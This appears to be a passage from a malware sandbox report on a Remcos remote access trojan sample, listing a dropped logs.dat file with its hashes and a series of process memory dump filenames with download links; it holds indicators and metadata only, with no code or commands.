SSDEEP 12288:kqOUDyUwhNKkBTw/qB9XbxbpknDu76Ftk3RMeDjXfl:kRfnKkBSqBJbxbpknDjFdqjXd
MD5 SHA1 SHA512 SSDEEP

Submit Download

logs.dat

Path C:\Users\Admin\remcos\logs.dat
Size 144B
SHA256 9d3ad9fb82a2850c2550e25670d67fba9dc5f93c1d121ff96ae88edd2d3bb8f1
MD5 07369772bed5ba31b87b4b755dc6cb95
SHA1 34ceed5097f26bd021d53cc9017d7f6d4b88d9b6
SHA512 e8ceec37fc87598c422066d24a09f836faf972612e1059860e24ca5cc8da51db7dee9b9af394ad295b77dad3a3e7c80d1e356b991e1fb4ee7b8e27ace4f894ee
MD5 SHA1 SHA512

Submit Download

memory/1948-57-0x0000000001A60000-0x00000000071BD000-memory.dmp

Download

memory/1984-39-0x0000000008270000-0x0000000008814000-memory.dmp

Download

memory/1984-41-0x0000000008820000-0x000000000DF7D000-memory.dmp

Download

memory/1984-18-0x0000000001310000-0x0000000001346000-memory.dmp

Download

memory/1984-19-0x00000000054F0000-0x0000000005B18000-memory.dmp

Download

memory/1984-20-0x00000000053C0000-0x00000000053E2000-memory.dmp

Download

memory/1984-22-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Download

memory/1984-21-0x0000000005B20000-0x0000000005B86000-memory.dmp

Download

memory/1984-32-0x0000000005DB0000-0x0000000006104000-memory.dmp

Download

memory/1984-33-0x0000000006240000-0x000000000625E000-memory.dmp

Download

memory/1984-34-0x0000000006280000-0x00000000062CC000-memory.dmp

Download

memory/1984-35-0x0000000007BF0000-0x000000000826A000-memory.dmp

Download

memory/1984-36-0x0000000006800000-0x000000000681A000-memory.dmp

Download

memory/1984-37-0x0000000007570000-0x0000000007606000-memory.dmp

Download

memory/1984-38-0x0000000007410000-0x0000000007432000-memory.dmp

Download

memory/4644-14-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

Download

memory/4644-15-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

Download

memory/4644-2-0x00007FFBA3163000-0x00007FFBA3165000-memory.dmp

Download

memory/4644-42-0x00007FFBA3163000-0x00007FFBA3165000-memory.dmp

Download

memory/4644-43-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

Download

memory/4644-60-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

Download

memory/4644-13-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

Download

memory/4644-8-0x000002446BE00000-0x000002446BE22000-memory.dmp

Download

memory/10440-71-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/10440-73-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/10440-74-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/11256-70-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/11256-72-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/11256-75-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/27284-91-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/27284-88-0x0000000000400000-0x0000000000457000-memory.dmp

Download

memory/27296-90-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/27296-89-0x0000000000400000-0x0000000000424000-memory.dmp

Download